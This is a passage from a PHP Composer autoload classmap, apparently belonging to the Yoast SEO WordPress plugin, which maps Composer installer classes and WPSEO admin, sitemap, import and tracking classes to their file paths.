        'Composer\\Installers\\DokuWikiInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/DokuWikiInstaller.php',
        'Composer\\Installers\\DolibarrInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/DolibarrInstaller.php',
        'Composer\\Installers\\DrupalInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/DrupalInstaller.php',
        'Composer\\Installers\\ElggInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ElggInstaller.php',
        'Composer\\Installers\\EliasisInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/EliasisInstaller.php',
        'Composer\\Installers\\ExpressionEngineInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ExpressionEngineInstaller.php',
        'Composer\\Installers\\EzPlatformInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/EzPlatformInstaller.php',
        'Composer\\Installers\\ForkCMSInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ForkCMSInstaller.php',
        'Composer\\Installers\\FuelInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/FuelInstaller.php',
        'Composer\\Installers\\FuelphpInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/FuelphpInstaller.php',
        'Composer\\Installers\\GravInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/GravInstaller.php',
        'Composer\\Installers\\HuradInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/HuradInstaller.php',
        'Composer\\Installers\\ImageCMSInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ImageCMSInstaller.php',
        'Composer\\Installers\\Installer' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/Installer.php',
        'Composer\\Installers\\ItopInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ItopInstaller.php',
        'Composer\\Installers\\KanboardInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/KanboardInstaller.php',
        'Composer\\Installers\\KnownInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/KnownInstaller.php',
        'Composer\\Installers\\KodiCMSInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/KodiCMSInstaller.php',
        'Composer\\Installers\\KohanaInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/KohanaInstaller.php',
        'Composer\\Installers\\LanManagementSystemInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/LanManagementSystemInstaller.php',
        'Composer\\Installers\\LaravelInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/LaravelInstaller.php',
        'Composer\\Installers\\LavaLiteInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/LavaLiteInstaller.php',
        'Composer\\Installers\\LithiumInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/LithiumInstaller.php',
        'Composer\\Installers\\MODULEWorkInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MODULEWorkInstaller.php',
        'Composer\\Installers\\MODXEvoInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MODXEvoInstaller.php',
        'Composer\\Installers\\MagentoInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MagentoInstaller.php',
        'Composer\\Installers\\MajimaInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MajimaInstaller.php',
        'Composer\\Installers\\MakoInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MakoInstaller.php',
        'Composer\\Installers\\MantisBTInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MantisBTInstaller.php',
        'Composer\\Installers\\MatomoInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MatomoInstaller.php',
        'Composer\\Installers\\MauticInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MauticInstaller.php',
        'Composer\\Installers\\MayaInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MayaInstaller.php',
        'Composer\\Installers\\MediaWikiInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MediaWikiInstaller.php',
        'Composer\\Installers\\MiaoxingInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MiaoxingInstaller.php',
        'Composer\\Installers\\MicroweberInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MicroweberInstaller.php',
        'Composer\\Installers\\ModxInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ModxInstaller.php',
        'Composer\\Installers\\MoodleInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MoodleInstaller.php',
        'Composer\\Installers\\OctoberInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/OctoberInstaller.php',
        'Composer\\Installers\\OntoWikiInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/OntoWikiInstaller.php',
        'Composer\\Installers\\OsclassInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/OsclassInstaller.php',
        'Composer\\Installers\\OxidInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/OxidInstaller.php',
        'Composer\\Installers\\PPIInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/PPIInstaller.php',
        'Composer\\Installers\\PantheonInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/PantheonInstaller.php',
        'Composer\\Installers\\PhiftyInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/PhiftyInstaller.php',
        'Composer\\Installers\\PhpBBInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/PhpBBInstaller.php',
        'Composer\\Installers\\PiwikInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/PiwikInstaller.php',
        'Composer\\Installers\\PlentymarketsInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/PlentymarketsInstaller.php',
        'Composer\\Installers\\Plugin' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/Plugin.php',
        'Composer\\Installers\\PortoInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/PortoInstaller.php',
        'Composer\\Installers\\PrestashopInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/PrestashopInstaller.php',
        'Composer\\Installers\\ProcessWireInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ProcessWireInstaller.php',
        'Composer\\Installers\\PuppetInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/PuppetInstaller.php',
        'Composer\\Installers\\PxcmsInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/PxcmsInstaller.php',
        'Composer\\Installers\\RadPHPInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/RadPHPInstaller.php',
        'Composer\\Installers\\ReIndexInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ReIndexInstaller.php',
        'Composer\\Installers\\Redaxo5Installer' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/Redaxo5Installer.php',
        'Composer\\Installers\\RedaxoInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/RedaxoInstaller.php',
        'Composer\\Installers\\RoundcubeInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/RoundcubeInstaller.php',
        'Composer\\Installers\\SMFInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/SMFInstaller.php',
        'Composer\\Installers\\ShopwareInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ShopwareInstaller.php',
        'Composer\\Installers\\SilverStripeInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/SilverStripeInstaller.php',
        'Composer\\Installers\\SiteDirectInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/SiteDirectInstaller.php',
        'Composer\\Installers\\StarbugInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/StarbugInstaller.php',
        'Composer\\Installers\\SyDESInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/SyDESInstaller.php',
        'Composer\\Installers\\SyliusInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/SyliusInstaller.php',
        'Composer\\Installers\\TaoInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/TaoInstaller.php',
        'Composer\\Installers\\TastyIgniterInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/TastyIgniterInstaller.php',
        'Composer\\Installers\\TheliaInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/TheliaInstaller.php',
        'Composer\\Installers\\TuskInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/TuskInstaller.php',
        'Composer\\Installers\\UserFrostingInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/UserFrostingInstaller.php',
        'Composer\\Installers\\VanillaInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/VanillaInstaller.php',
        'Composer\\Installers\\VgmcpInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/VgmcpInstaller.php',
        'Composer\\Installers\\WHMCSInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/WHMCSInstaller.php',
        'Composer\\Installers\\WinterInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/WinterInstaller.php',
        'Composer\\Installers\\WolfCMSInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/WolfCMSInstaller.php',
        'Composer\\Installers\\WordPressInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/WordPressInstaller.php',
        'Composer\\Installers\\YawikInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/YawikInstaller.php',
        'Composer\\Installers\\ZendInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ZendInstaller.php',
        'Composer\\Installers\\ZikulaInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ZikulaInstaller.php',
        'WPSEO_Abstract_Capability_Manager' => __DIR__ . '/../..' . '/admin/capabilities/class-abstract-capability-manager.php',
        'WPSEO_Abstract_Metabox_Tab_With_Sections' => __DIR__ . '/../..' . '/admin/metabox/class-abstract-sectioned-metabox-tab.php',
        'WPSEO_Abstract_Post_Filter' => __DIR__ . '/../..' . '/admin/filters/class-abstract-post-filter.php',
        'WPSEO_Abstract_Role_Manager' => __DIR__ . '/../..' . '/admin/roles/class-abstract-role-manager.php',
        'WPSEO_Addon_Manager' => __DIR__ . '/../..' . '/inc/class-addon-manager.php',
        'WPSEO_Admin' => __DIR__ . '/../..' . '/admin/class-admin.php',
        'WPSEO_Admin_Asset' => __DIR__ . '/../..' . '/admin/class-asset.php',
        'WPSEO_Admin_Asset_Analysis_Worker_Location' => __DIR__ . '/../..' . '/admin/class-admin-asset-analysis-worker-location.php',
        'WPSEO_Admin_Asset_Dev_Server_Location' => __DIR__ . '/../..' . '/admin/class-admin-asset-dev-server-location.php',
        'WPSEO_Admin_Asset_Location' => __DIR__ . '/../..' . '/admin/class-admin-asset-location.php',
        'WPSEO_Admin_Asset_Manager' => __DIR__ . '/../..' . '/admin/class-admin-asset-manager.php',
        'WPSEO_Admin_Asset_SEO_Location' => __DIR__ . '/../..' . '/admin/class-admin-asset-seo-location.php',
        'WPSEO_Admin_Bar_Menu' => __DIR__ . '/../..' . '/inc/class-wpseo-admin-bar-menu.php',
        'WPSEO_Admin_Editor_Specific_Replace_Vars' => __DIR__ . '/../..' . '/admin/class-admin-editor-specific-replace-vars.php',
        'WPSEO_Admin_Gutenberg_Compatibility_Notification' => __DIR__ . '/../..' . '/admin/class-admin-gutenberg-compatibility-notification.php',
        'WPSEO_Admin_Help_Panel' => __DIR__ . '/../..' . '/admin/class-admin-help-panel.php',
        'WPSEO_Admin_Init' => __DIR__ . '/../..' . '/admin/class-admin-init.php',
        'WPSEO_Admin_Menu' => __DIR__ . '/../..' . '/admin/menu/class-admin-menu.php',
        'WPSEO_Admin_Pages' => __DIR__ . '/../..' . '/admin/class-config.php',
        'WPSEO_Admin_Recommended_Replace_Vars' => __DIR__ . '/../..' . '/admin/class-admin-recommended-replace-vars.php',
        'WPSEO_Admin_Settings_Changed_Listener' => __DIR__ . '/../..' . '/admin/admin-settings-changed-listener.php',
        'WPSEO_Admin_User_Profile' => __DIR__ . '/../..' . '/admin/class-admin-user-profile.php',
        'WPSEO_Admin_Utils' => __DIR__ . '/../..' . '/admin/class-admin-utils.php',
        'WPSEO_Author_Sitemap_Provider' => __DIR__ . '/../..' . '/inc/sitemaps/class-author-sitemap-provider.php',
        'WPSEO_Base_Menu' => __DIR__ . '/../..' . '/admin/menu/class-base-menu.php',
        'WPSEO_Breadcrumbs' => __DIR__ . '/../..' . '/src/deprecated/frontend/breadcrumbs.php',
        'WPSEO_Bulk_Description_List_Table' => __DIR__ . '/../..' . '/admin/class-bulk-description-editor-list-table.php',
        'WPSEO_Bulk_List_Table' => __DIR__ . '/../..' . '/admin/class-bulk-editor-list-table.php',
        'WPSEO_Bulk_Title_Editor_List_Table' => __DIR__ . '/../..' . '/admin/class-bulk-title-editor-list-table.php',
        'WPSEO_Capability_Manager' => __DIR__ . '/../..' . '/admin/capabilities/class-capability-manager.php',
        'WPSEO_Capability_Manager_Factory' => __DIR__ . '/../..' . '/admin/capabilities/class-capability-manager-factory.php',
        'WPSEO_Capability_Manager_Integration' => __DIR__ . '/../..' . '/admin/capabilities/class-capability-manager-integration.php',
        'WPSEO_Capability_Manager_VIP' => __DIR__ . '/../..' . '/admin/capabilities/class-capability-manager-vip.php',
        'WPSEO_Capability_Manager_WP' => __DIR__ . '/../..' . '/admin/capabilities/class-capability-manager-wp.php',
        'WPSEO_Capability_Utils' => __DIR__ . '/../..' . '/admin/capabilities/class-capability-utils.php',
        'WPSEO_Collection' => __DIR__ . '/../..' . '/admin/interface-collection.php',
        'WPSEO_Collector' => __DIR__ . '/../..' . '/admin/class-collector.php',
        'WPSEO_Content_Images' => __DIR__ . '/../..' . '/inc/class-wpseo-content-images.php',
        'WPSEO_Cornerstone_Filter' => __DIR__ . '/../..' . '/admin/filters/class-cornerstone-filter.php',
        'WPSEO_Custom_Fields' => __DIR__ . '/../..' . '/inc/class-wpseo-custom-fields.php',
        'WPSEO_Custom_Taxonomies' => __DIR__ . '/../..' . '/inc/class-wpseo-custom-taxonomies.php',
        'WPSEO_Customizer' => __DIR__ . '/../..' . '/src/deprecated/admin/class-customizer.php',
        'WPSEO_Database_Proxy' => __DIR__ . '/../..' . '/admin/class-database-proxy.php',
        'WPSEO_Date_Helper' => __DIR__ . '/../..' . '/inc/date-helper.php',
        'WPSEO_Dismissible_Notification' => __DIR__ . '/../..' . '/admin/notifiers/dismissible-notification.php',
        'WPSEO_Endpoint' => __DIR__ . '/../..' . '/admin/endpoints/class-endpoint.php',
        'WPSEO_Endpoint_File_Size' => __DIR__ . '/../..' . '/admin/endpoints/class-endpoint-file-size.php',
        'WPSEO_Endpoint_Statistics' => __DIR__ . '/../..' . '/admin/endpoints/class-endpoint-statistics.php',
        'WPSEO_Export' => __DIR__ . '/../..' . '/admin/class-export.php',
        'WPSEO_Expose_Shortlinks' => __DIR__ . '/../..' . '/admin/class-expose-shortlinks.php',
        'WPSEO_File_Size_Exception' => __DIR__ . '/../..' . '/admin/exceptions/class-file-size-exception.php',
        'WPSEO_File_Size_Service' => __DIR__ . '/../..' . '/admin/services/class-file-size.php',
        'WPSEO_Frontend' => __DIR__ . '/../..' . '/src/deprecated/frontend/frontend.php',
        'WPSEO_GSC' => __DIR__ . '/../..' . '/admin/google_search_console/class-gsc.php',
        'WPSEO_Gutenberg_Compatibility' => __DIR__ . '/../..' . '/admin/class-gutenberg-compatibility.php',
        'WPSEO_Image_Utils' => __DIR__ . '/../..' . '/inc/class-wpseo-image-utils.php',
        'WPSEO_Import_AIOSEO' => __DIR__ . '/../..' . '/admin/import/plugins/class-import-aioseo.php',
        'WPSEO_Import_AIOSEO_V4' => __DIR__ . '/../..' . '/admin/import/plugins/class-import-aioseo-v4.php',
        'WPSEO_Import_Greg_SEO' => __DIR__ . '/../..' . '/admin/import/plugins/class-import-greg-high-performance-seo.php',
        'WPSEO_Import_HeadSpace' => __DIR__ . '/../..' . '/admin/import/plugins/class-import-headspace.php',
        'WPSEO_Import_Jetpack_SEO' => __DIR__ . '/../..' . '/admin/import/plugins/class-import-jetpack.php',
        'WPSEO_Import_Platinum_SEO' => __DIR__ . '/../..' . '/admin/import/plugins/class-import-platinum-seo-pack.php',
        'WPSEO_Import_Plugin' => __DIR__ . '/../..' . '/admin/import/class-import-plugin.php',
        'WPSEO_Import_Plugins_Detector' => __DIR__ . '/../..' . '/admin/import/class-import-detector.php',
        'WPSEO_Import_Premium_SEO_Pack' => __DIR__ . '/../..' . '/admin/import/plugins/class-import-premium-seo-pack.php',
        'WPSEO_Import_RankMath' => __DIR__ . '/../..' . '/admin/import/plugins/class-import-rankmath.php',
        'WPSEO_Import_SEOPressor' => __DIR__ . '/../..' . '/admin/import/plugins/class-import-seopressor.php',
        'WPSEO_Import_SEO_Framework' => __DIR__ . '/../..' . '/admin/import/plugins/class-import-seo-framework.php',
        'WPSEO_Import_Settings' => __DIR__ . '/../..' . '/admin/import/class-import-settings.php',
        'WPSEO_Import_Smartcrawl_SEO' => __DIR__ . '/../..' . '/admin/import/plugins/class-import-smartcrawl.php',
        'WPSEO_Import_Squirrly' => __DIR__ . '/../..' . '/admin/import/plugins/class-import-squirrly.php',
        'WPSEO_Import_Status' => __DIR__ . '/../..' . '/admin/import/class-import-status.php',
        'WPSEO_Import_Ultimate_SEO' => __DIR__ . '/../..' . '/admin/import/plugins/class-import-ultimate-seo.php',
        'WPSEO_Import_WPSEO' => __DIR__ . '/../..' . '/admin/import/plugins/class-import-wpseo.php',
        'WPSEO_Import_WP_Meta_SEO' => __DIR__ . '/../..' . '/admin/import/plugins/class-import-wp-meta-seo.php',
        'WPSEO_Import_WooThemes_SEO' => __DIR__ . '/../..' . '/admin/import/plugins/class-import-woothemes-seo.php',
        'WPSEO_Installable' => __DIR__ . '/../..' . '/admin/interface-installable.php',
        'WPSEO_Installation' => __DIR__ . '/../..' . '/inc/class-wpseo-installation.php',
        'WPSEO_Language_Utils' => __DIR__ . '/../..' . '/inc/language-utils.php',
        'WPSEO_Listener' => __DIR__ . '/../..' . '/admin/listeners/class-listener.php',
        'WPSEO_Menu' => __DIR__ . '/../..' . '/admin/menu/class-menu.php',
        'WPSEO_Meta' => __DIR__ . '/../..' . '/inc/class-wpseo-meta.php',
        'WPSEO_Meta_Columns' => __DIR__ . '/../..' . '/admin/class-meta-columns.php',
        'WPSEO_Metabox' => __DIR__ . '/../..' . '/admin/metabox/class-metabox.php',
        'WPSEO_Metabox_Analysis' => __DIR__ . '/../..' . '/admin/metabox/interface-metabox-analysis.php',
        'WPSEO_Metabox_Analysis_Inclusive_Language' => __DIR__ . '/../..' . '/admin/metabox/class-metabox-analysis-inclusive-language.php',
        'WPSEO_Metabox_Analysis_Readability' => __DIR__ . '/../..' . '/admin/metabox/class-metabox-analysis-readability.php',
        'WPSEO_Metabox_Analysis_SEO' => __DIR__ . '/../..' . '/admin/metabox/class-metabox-analysis-seo.php',
        'WPSEO_Metabox_Collapsible' => __DIR__ . '/../..' . '/admin/metabox/class-metabox-collapsible.php',
        'WPSEO_Metabox_Collapsibles_Sections' => __DIR__ . '/../..' . '/admin/metabox/class-metabox-collapsibles-section.php',
        'WPSEO_Metabox_Editor' => __DIR__ . '/../..' . '/admin/metabox/class-metabox-editor.php',
        'WPSEO_Metabox_Form_Tab' => __DIR__ . '/../..' . '/admin/metabox/class-metabox-form-tab.php',
        'WPSEO_Metabox_Formatter' => __DIR__ . '/../..' . '/admin/formatter/class-metabox-formatter.php',
        'WPSEO_Metabox_Formatter_Interface' => __DIR__ . '/../..' . '/admin/formatter/interface-metabox-formatter.php',
        'WPSEO_Metabox_Null_Tab' => __DIR__ . '/../..' . '/admin/metabox/class-metabox-null-tab.php',
        'WPSEO_Metabox_Section' => __DIR__ . '/../..' . '/admin/metabox/interface-metabox-section.php',
        'WPSEO_Metabox_Section_Additional' => __DIR__ . '/../..' . '/admin/metabox/class-metabox-section-additional.php',
        'WPSEO_Metabox_Section_Inclusive_Language' => __DIR__ . '/../..' . '/admin/metabox/class-metabox-section-inclusive-language.php',
        'WPSEO_Metabox_Section_React' => __DIR__ . '/../..' . '/admin/metabox/class-metabox-section-react.php',
        'WPSEO_Metabox_Section_Readability' => __DIR__ . '/../..' . '/admin/metabox/class-metabox-section-readability.php',
        'WPSEO_Metabox_Tab' => __DIR__ . '/../..' . '/admin/metabox/interface-metabox-tab.php',
        'WPSEO_MyYoast_Api_Request' => __DIR__ . '/../..' . '/inc/class-my-yoast-api-request.php',
        'WPSEO_MyYoast_Bad_Request_Exception' => __DIR__ . '/../..' . '/inc/exceptions/class-myyoast-bad-request-exception.php',
        'WPSEO_MyYoast_Invalid_JSON_Exception' => __DIR__ . '/../..' . '/inc/exceptions/class-myyoast-invalid-json-exception.php',
        'WPSEO_MyYoast_Proxy' => __DIR__ . '/../..' . '/admin/class-my-yoast-proxy.php',
        'WPSEO_Network_Admin_Menu' => __DIR__ . '/../..' . '/admin/menu/class-network-admin-menu.php',
        'WPSEO_Notification_Handler' => __DIR__ . '/../..' . '/admin/notifiers/interface-notification-handler.php',
        'WPSEO_Option' => __DIR__ . '/../..' . '/inc/options/class-wpseo-option.php',
        'WPSEO_Option_MS' => __DIR__ . '/../..' . '/inc/options/class-wpseo-option-ms.php',
        'WPSEO_Option_Social' => __DIR__ . '/../..' . '/inc/options/class-wpseo-option-social.php',
        'WPSEO_Option_Tab' => __DIR__ . '/../..' . '/admin/class-option-tab.php',
        'WPSEO_Option_Tabs' => __DIR__ . '/../..' . '/admin/class-option-tabs.php',
        'WPSEO_Option_Tabs_Formatter' => __DIR__ . '/../..' . '/admin/class-option-tabs-formatter.php',
        'WPSEO_Option_Titles' => __DIR__ . '/../..' . '/inc/options/class-wpseo-option-titles.php',
        'WPSEO_Option_Wpseo' => __DIR__ . '/../..' . '/inc/options/class-wpseo-option-wpseo.php',
        'WPSEO_Options' => __DIR__ . '/../..' . '/inc/options/class-wpseo-options.php',
        'WPSEO_Paper_Presenter' => __DIR__ . '/../..' . '/admin/class-paper-presenter.php',
        'WPSEO_Plugin_Availability' => __DIR__ . '/../..' . '/admin/class-plugin-availability.php',
        'WPSEO_Plugin_Conflict' => __DIR__ . '/../..' . '/admin/class-plugin-conflict.php',
        'WPSEO_Plugin_Importer' => __DIR__ . '/../..' . '/admin/import/plugins/class-abstract-plugin-importer.php',
        'WPSEO_Plugin_Importers' => __DIR__ . '/../..' . '/admin/import/plugins/class-importers.php',
        'WPSEO_Post_Metabox_Formatter' => __DIR__ . '/../..' . '/admin/formatter/class-post-metabox-formatter.php',
        'WPSEO_Post_Type' => __DIR__ . '/../..' . '/inc/class-post-type.php',
        'WPSEO_Post_Type_Sitemap_Provider' => __DIR__ . '/../..' . '/inc/sitemaps/class-post-type-sitemap-provider.php',
        'WPSEO_Premium_Popup' => __DIR__ . '/../..' . '/admin/class-premium-popup.php',
        'WPSEO_Premium_Upsell_Admin_Block' => __DIR__ . '/../..' . '/admin/class-premium-upsell-admin-block.php',
        'WPSEO_Primary_Term' => __DIR__ . '/../..' . '/inc/class-wpseo-primary-term.php',
        'WPSEO_Primary_Term_Admin' => __DIR__ . '/../..' . '/admin/class-primary-term-admin.php',
        'WPSEO_Product_Upsell_Notice' => __DIR__ . '/../..' . '/admin/class-product-upsell-notice.php',
        'WPSEO_Rank' => __DIR__ . '/../..' . '/inc/class-wpseo-rank.php',
        'WPSEO_Register_Capabilities' => __DIR__ . '/../..' . '/admin/capabilities/class-register-capabilities.php',
        'WPSEO_Register_Roles' => __DIR__ . '/../..' . '/admin/roles/class-register-roles.php',
        'WPSEO_Remote_Request' => __DIR__ . '/../..' . '/admin/class-remote-request.php',
        'WPSEO_Replace_Vars' => __DIR__ . '/../..' . '/inc/class-wpseo-replace-vars.php',
        'WPSEO_Replacement_Variable' => __DIR__ . '/../..' . '/inc/class-wpseo-replacement-variable.php',
        'WPSEO_Replacevar_Editor' => __DIR__ . '/../..' . '/admin/menu/class-replacevar-editor.php',
        'WPSEO_Replacevar_Field' => __DIR__ . '/../..' . '/admin/menu/class-replacevar-field.php',
        'WPSEO_Rewrite' => __DIR__ . '/../..' . '/inc/class-rewrite.php',
        'WPSEO_Role_Manager' => __DIR__ . '/../..' . '/admin/roles/class-role-manager.php',
        'WPSEO_Role_Manager_Factory' => __DIR__ . '/../..' . '/admin/roles/class-role-manager-factory.php',
        'WPSEO_Role_Manager_WP' => __DIR__ . '/../..' . '/admin/roles/class-role-manager-wp.php',
        'WPSEO_Schema_Person_Upgrade_Notification' => __DIR__ . '/../..' . '/admin/class-schema-person-upgrade-notification.php',
        'WPSEO_Shortcode_Filter' => __DIR__ . '/../..' . '/admin/ajax/class-shortcode-filter.php',
        'WPSEO_Shortlinker' => __DIR__ . '/../..' . '/inc/class-wpseo-shortlinker.php',
        'WPSEO_Sitemap_Cache_Data' => __DIR__ . '/../..' . '/inc/sitemaps/class-sitemap-cache-data.php',
        'WPSEO_Sitemap_Cache_Data_Interface' => __DIR__ . '/../..' . '/inc/sitemaps/interface-sitemap-cache-data.php',
        'WPSEO_Sitemap_Image_Parser' => __DIR__ . '/../..' . '/inc/sitemaps/class-sitemap-image-parser.php',
        'WPSEO_Sitemap_Provider' => __DIR__ . '/../..' . '/inc/sitemaps/interface-sitemap-provider.php',
        'WPSEO_Sitemaps' => __DIR__ . '/../..' . '/inc/sitemaps/class-sitemaps.php',
        'WPSEO_Sitemaps_Admin' => __DIR__ . '/../..' . '/inc/sitemaps/class-sitemaps-admin.php',
        'WPSEO_Sitemaps_Cache' => __DIR__ . '/../..' . '/inc/sitemaps/class-sitemaps-cache.php',
        'WPSEO_Sitemaps_Cache_Validator' => __DIR__ . '/../..' . '/inc/sitemaps/class-sitemaps-cache-validator.php',
        'WPSEO_Sitemaps_Renderer' => __DIR__ . '/../..' . '/inc/sitemaps/class-sitemaps-renderer.php',
        'WPSEO_Sitemaps_Router' => __DIR__ . '/../..' . '/inc/sitemaps/class-sitemaps-router.php',
        'WPSEO_Slug_Change_Watcher' => __DIR__ . '/../..' . '/admin/watchers/class-slug-change-watcher.php',
        'WPSEO_Statistic_Integration' => __DIR__ . '/../..' . '/admin/statistics/class-statistics-integration.php',
        'WPSEO_Statistics' => __DIR__ . '/../..' . '/inc/class-wpseo-statistics.php',
        'WPSEO_Statistics_Service' => __DIR__ . '/../..' . '/admin/statistics/class-statistics-service.php',
        'WPSEO_Submenu_Capability_Normalize' => __DIR__ . '/../..' . '/admin/menu/class-submenu-capability-normalize.php',
        'WPSEO_Suggested_Plugins' => __DIR__ . '/../..' . '/admin/class-suggested-plugins.php',
        'WPSEO_Taxonomy' => __DIR__ . '/../..' . '/admin/taxonomy/class-taxonomy.php',
        'WPSEO_Taxonomy_Columns' => __DIR__ . '/../..' . '/admin/taxonomy/class-taxonomy-columns.php',
        'WPSEO_Taxonomy_Fields' => __DIR__ . '/../..' . '/admin/taxonomy/class-taxonomy-fields.php',
        'WPSEO_Taxonomy_Fields_Presenter' => __DIR__ . '/../..' . '/admin/taxonomy/class-taxonomy-fields-presenter.php',
        'WPSEO_Taxonomy_Meta' => __DIR__ . '/../..' . '/inc/options/class-wpseo-taxonomy-meta.php',
        'WPSEO_Taxonomy_Metabox' => __DIR__ . '/../..' . '/admin/taxonomy/class-taxonomy-metabox.php',
        'WPSEO_Taxonomy_Sitemap_Provider' => __DIR__ . '/../..' . '/inc/sitemaps/class-taxonomy-sitemap-provider.php',
        'WPSEO_Term_Metabox_Formatter' => __DIR__ . '/../..' . '/admin/formatter/class-term-metabox-formatter.php',
        'WPSEO_Tracking' => __DIR__ . '/../..' . '/admin/tracking/class-tracking.php',
        'WPSEO_Tracking_Addon_Data' => __DIR__ . '/../..' . '/admin/tracking/class-tracking-addon-data.php',
        'WPSEO_Tracking_Default_Data' => __DIR__ . '/../..' . '/admin/tracking/class-tracking-default-data.php',
        'WPSEO_Tracking_Plugin_Data' => __DIR__ . '/../..' . '/admin/tracking/class-tracking-plugin-data.php',
        'WPSEO_Tracking_Server_Data' => __DIR__ . '/../..' . '/admin/tracking/class-tracking-server-data.php',
        'WPSEO_Tracking_Settings_Data' => __DIR__ . '/../..' . '/admin/tracking/class-tracking-settings-data.php',
        'WPSEO_Tracking_Theme_Data' => __DIR__ . '/../..' . '/admin/tracking/class-tracking-theme-data.php',
        'WPSEO_Upgrade' => __DIR__ . '/../..' . '/inc/class-upgrade.php',
        'WPSEO_Upgrade_History' => __DIR__ . '/../..' . '/inc/class-upgrade-history.php',
        'WPSEO_Utils' => __DIR__ . '/../..' . '/inc/class-wpseo-utils.php',
        'WPSEO_WordPress_AJAX_Integration' => __DIR__ . '/../..' . '/inc/interface-wpseo-wordpress-ajax-integration.php',
        'WPSEO_WordPress_Integration' => __DIR__ . '/../..' . '/inc/interface-wpseo-wordpress-integration.php',
        'WPSEO_Yoast_Columns' => __DIR__ . '/../..' . '/admin/class-yoast-columns.php',
        'Wincher_Dashboard_Widget' => __DIR__ . '/../..' . '/admin/class-wincher-dashboard-widget.php',
        'YoastSEO_Vendor\\GuzzleHttp\\BodySummarizer' => __DIR__ . '/../..' . '/vendor_prefixed/guzzlehttp/guzzle/src/BodySummarizer.php',
